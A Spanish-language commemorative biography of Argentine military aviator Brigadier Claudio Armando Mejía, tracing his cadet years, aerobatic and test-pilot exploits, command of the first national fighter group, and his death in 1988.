Brigadier Claudio Armando Mejía

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Por Comodoro VGM (R) Oscar Luis ARANDA DURAÑONA (*)


 >>> | El Brigadier Mejía nació en Capital Federal el 25 de noviembre de 1901. Hijo único, creció rodeado del afecto de sus progenitores. Tutor invalorable, su padre le inculcó desafiar las dificultades, aun a costa del bienestar. De él heredó esa predisposición innata para el manejo de cualquier tipo de vehículo y la casi enfermiza necesidad de volar. Él lo alentó y fue su más ferviente admirador.

Por el contrario, la madre nunca aprobó que Claudio fuese aviador y recién se enteró cuando leyó un matutino alabando una exhibición de acrobacia. Aquella mañana, sin imaginar quién era el autor de las pruebas, estudió de cerca la fotografía y lo reconoció. Devota de comunión diaria, le encargó a un orfebre una pulsera con la imagen de la Virgen. Fundida en oro, en el reverso se leía: “Virgen de Luján, sálvalo”. Claudio la usó el resto de su vida. Le oraba, le agradecía, se peleaba con Ella cuando no salía una maniobra. La tuvo en su muñeca hasta que se la confió a su esposa antes de expirar pidiéndole que no la pusiera en el cajón porque se la iban a robar.
En 1918, Mejía ingresó al Colegio Militar. Evaluado con las máximas calificaciones en instrucción militar, también obtuvo las notas más altas en las ciencias humanísticas. Los jefes de compañía e instructores coincidieron en afirmar que se hallaba dotado de condiciones sobresalientes. Su carácter firme y la capacidad intelectual armonizaban con una contextura atlética privilegiada y una natural coordinación de movimientos. Gran gimnasta, hábil jinete y nadador incansable, los mandos del Colegio lo eligieron como tambor mayor.
El porte marcial de Mejía encabezó la Banda del Cuerpo de Cadetes, desde su ingreso en 1918 hasta 1921, en que egresó como Subteniente del Arma de Infantería.

La calle Florida fue escenario de las exclamaciones que suscitaban sus malabares con el bastón de nogal. Una estampa gallarda que reeditaría el 9 de Julio de 1945 durante el último desfile de su carrera. Estrenando el grado de Comodoro, Claudio Mejía lideró la presentación inaugural de la Escuela de Aviación Militar. Impecable el nuevo uniforme azul acero. La visera de la gorra, larguísima. La capa negra, inflándose al andar, daba la impresión de que en cualquier momento podía alzar los puños hacia el cielo y volar.

Volar, porque él era un Comodoro que hacía acrobacia. En la Escuela, en El Palomar, en El Plumerillo o en donde fuera, cuando se corría la voz de que el jefe estaba por despegar, hasta el último soldado se arrimaba a la plataforma a contemplarlo. Había volado desde que el comandante de la Infantería lo autorizó a que siguiera el llamado de las aves que revoloteaban sobre el campo de instrucción. Y no porque menospreciara la abnegada misión de los infantes, sino porque su espíritu inquieto necesitaba de horizontes más vastos, y porque sus reflejos de águila demandaban mayores desafíos.

En marzo de 1924, sin que su madre lo supiera, pero con el apoyo de su padre, se incorporó al Grupo Nº 1 de Aviación. Antes de cumplir veinte horas, voló el “solo” en septiembre de 1924 y, aunque parezca increíble, a la semana, el jefe de Pilotos lo apercibió por “efectuar maniobras no ordenadas”. Sanción que denotaba una osadía poco frecuente y que, al mismo tiempo, ponía en evidencia una pericia inusual.

Más cómodo que pez en el agua, recuperaba un tirabuzón a escasos metros de la tierra o volaba a ras del suelo cabeza abajo. Conceptuado en forma sobresaliente, tanto en la faz práctica como teórica, en noviembre de 1924, con treinta horas de vuelo, se graduó de piloto militar; y en diciembre de 1925, de aviador militar.

Designado instructor, al poco tiempo fue, comandante accidental de la Escuadrilla de Caza. En 1926, integró la Escuadrilla de Artillería y voló los Breguet XIX de observación y bombardeo, de reciente adquisición. En 1927, lo destinaron a comandar la Escuadrilla de Caza. Por su cargo, debió ensayar el primer Dewoitine D.21 ensamblado en el Taller de El Palomar.

Habrá sentido la dicha de volar una joya, cuyo “planeador tenía un comportamiento excepcional como avión de caza”. Con ese concepto, concluyó el informe que lo reveló como un innato piloto experimental, el único capaz de verificar si las especificaciones declaradas por los fabricantes eran ciertas. Fue el ensayador audaz que, en abril de 1939, trizó el parabrisas de un Curtiss 75 O argentino, al sobrepasar los 1000 km/h en picada; el que, en marzo de 1935, probó un Dewoitine D.510 en el Centro de Casaux en Francia. En Varsovia, los fabricantes del PZL P.24 le pidieron que ensayara un prototipo. Luego de probar la maniobrabilidad, tomó altura y, con una pronunciada picada, tocó los 650 km/h que, según los cálculos, podía rendir el planeador. En Roma, evaluó un Breda 27 y un Fiat CR.32. Y en Alemania, voló el Heinkel más avanzado, el caza He.51. Con proa hacia las nubes, y con la potencia y la actitud que decían los manuales, marcó el mejor tiempo para alcanzar 6000 metros.

Antes de esas hazañas, Mejía había protagonizado otras. El 15 de octubre de 1928, cerca del mediodía, el público congregado en la Plaza de Mayo, haciéndose visera con la mano, oteaba el horizonte por donde se aproximaba la silueta plateada de un Dewoitine. El avión llegó a la vertical e inició un abrupto ascenso. De pronto, un escalofrío erizó la nuca de la gente. El D.21 había perdido la hélice. El zumbido desbocado del motor apagó los gritos de las damas. Se hizo el silencio y un murmullo de alivio confirmó que el avión, con el motor detenido, planeaba sin apuros hacia el río, efectuaba un suave viraje y enfilaba hacia la Costanera. La angustia renació en el momento en que el avión, tras una rápida maniobra, pasó por encima de un carro que se le interponía. Con un estrépito metálico tocó el pavimento y se arrastró hasta que el ala derecha chocó una columna de alumbrado. Detenido, de la carlinga se vio emerger la sonrisa ancha de Mejía saludando a la muchedumbre que lo había rodeado y que lo aclamaba.

En 1929, lo eligieron para retribuir la travesía del “Plus Ultra”. Viajó a los Estados Unidos y, con el auspicio de un mecenas, adquirió el Fokker trimotor “Friendship”. Por una decisión política, la expedición se canceló. Sin embargo, las prácticas en el exterior y en el país enriquecieron la experiencia del teniente primero que, a comienzos de 1931, reasumió el mando de la Escuadrilla de Caza.

El 11 de mayo, con otros aviadores, trasladó los primeros D.21 construidos en la Fábrica Militar de Aviones. Con uno de ellos, en mayo de 1931 ejecutó 203 loopings y 59 immelmanns. A principios de junio, la dotación de aviones se elevó a 15, con lo cual, el 23 de junio de 1931, la Escuadrilla fue promovida a Grupo Nº 1 de Caza. A Claudio Armando Mejía le cupo la honra y el orgullo de ser el primer jefe de un Grupo de Caza nacional.

En noviembre de 1931, el ministro de Guerra lo designó agregado aeronáutico en Italia. El camino hacia la Escuela de Caza de Aviano y a la élite de la 1.ª División Aquila del duque de Aosta estaba expedito. Dos años después, en enero de 1934, el Capitán Mejía recibió el brevet de oro de la Casa Real.
El resto de su carrera y de la vida del Brigadier Mejía no por ser menos intensa deja de ser apasionante. Pertenecen al terreno de la leyenda sus piruetas con los Curtiss III y Curtiss 75-O. Sus vuelos nocturnos y el aterrizaje milagroso de la escuadrilla que guio orientado por las cúpulas de la Basílica de Luján sobresaliendo encima del denso manto de nubes.

El encuentro y casamiento en la edad madura con la hermosa empresaria Clara Rosa Echenique. La franca y desinteresada amistad con Juan Domingo Perón. El brillante desempeño como inspector de embajadas. El distanciamiento de su amigo cuando le rechazó la denuncia a un funcionario. Y la implacable investigación que soportó tras la revolución de 1955 cuando, con gran extrañeza, los auditores comprobaron que había devuelto hasta el cambio de los viáticos no gastados en las comisiones.

Para terminar de retratar a este aviador y ser humano fuera de serie, basta recordar dos sucesos. En octubre de 1981, cantó abrazado con los cazadores supersónicos de los Mirage III de Mariano Moreno durante una cena servida en su homenaje. En 1982, el Brigadier Mejía se presentó en el Comando en Jefe de la Fuerza y, con ochenta años de experiencia y de dignidad en sus espaldas, solicitó formalmente ser incorporado y enviado a Malvinas.

El 22 de febrero de 1988, a los 86 años, el Brigadier Claudio Mejía, sin un peso en el bolsillo, pero con el corazón rebosante de gratitud, entregó su alma al Señor en el Hospital Aeronáutico Central.

Por unanimidad, la Asociación de Pilotos de Caza de la FAA lo ha elegido patrono de los cazadores argentinos.

Fuente: https://www.faa.mil.ar


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